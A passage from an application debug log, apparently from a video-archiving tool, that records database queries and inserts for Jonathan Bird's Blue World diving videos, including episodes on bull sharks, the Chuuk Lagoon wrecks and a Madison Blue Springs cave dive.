Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "eac5aec8-041c-4eb3-ad86-c888633ea1cd", "st5_OKH1O-g", false, "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, [], 564, false, 11, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, false, 98, ~U[2025-08-02 14:01:30Z], ~U[2026-06-03 23:03:11Z], ~U[2026-06-03 23:03:11Z], "Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "st5_OKH1O-g", "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, 564, false, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, ~U[2025-08-02 14:01:30Z]] 19:03:11.351 [debug] QUERY OK source="sources" db=0.2ms idle=85.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:11.351 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:11.352 [debug] QUERY OK source="media_items" db=0.2ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119035] 19:03:11.352 [debug] Current batch of media processed. Will check again in 1000ms 19:03:12.352 [debug] Current batch of media processed. Will check again in 1000ms 19:03:13.353 [debug] Current batch of media processed. Will check again in 1000ms 19:03:14.355 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "duration" => 1404, "filename" => "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", "id" => "N1tKGFoW7W8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=N1tKGFoW7W8", "playlist_index" => 12, "timestamp" => 1751724011, "title" => "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "upload_date" => "20250705"} 19:03:14.356 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1657.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:14.357 [debug] QUERY OK source="sources" db=0.5ms idle=1658.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:14.360 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1659.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-05 14:00:11Z], 34] 19:03:14.362 [debug] QUERY OK source="media_items" db=1.2ms idle=1092.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "b3c77cd0-d9c1-4e4f-bb11-1e36b043f8fe", "N1tKGFoW7W8", false, "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, [], 1404, false, 12, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, false, 98, ~U[2025-07-05 14:00:11Z], ~U[2026-06-03 23:03:14Z], ~U[2026-06-03 23:03:14Z], "The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "N1tKGFoW7W8", "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, 1404, false, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, ~U[2025-07-05 14:00:11Z]] 19:03:14.362 [debug] QUERY OK source="sources" db=0.2ms idle=91.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:14.363 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:14.363 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119037] 19:03:14.363 [debug] Current batch of media processed. Will check again in 1000ms 19:03:15.364 [debug] Current batch of media processed. Will check again in 1000ms 19:03:16.365 [debug] Current batch of media processed. Will check again in 1000ms 19:03:17.367 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "duration" => 1127, "filename" => "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", "id" => "8t_R2cmYrBY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8t_R2cmYrBY", "playlist_index" => 13, "timestamp" => 1749909611, "title" => "ROCKY HORROR Cave Dive at Madison Blue Springs!", "upload_date" => "20250614"} 19:03:17.368 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1669.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:17.370 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1670.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:17.372 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1671.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 14:00:11Z], 34] 19:03:17.374 [debug] QUERY OK source="media_items" db=1.2ms idle=1100.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "4b21aa2d-38ca-465c-a377-d561a7ba34e9", "8t_R2cmYrBY", false, "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, [], 1127, false, 13, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, false, 98, ~U[2025-06-14 14:00:11Z], ~U[2026-06-03 23:03:17Z], ~U[2026-06-03 23:03:17Z], "Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● 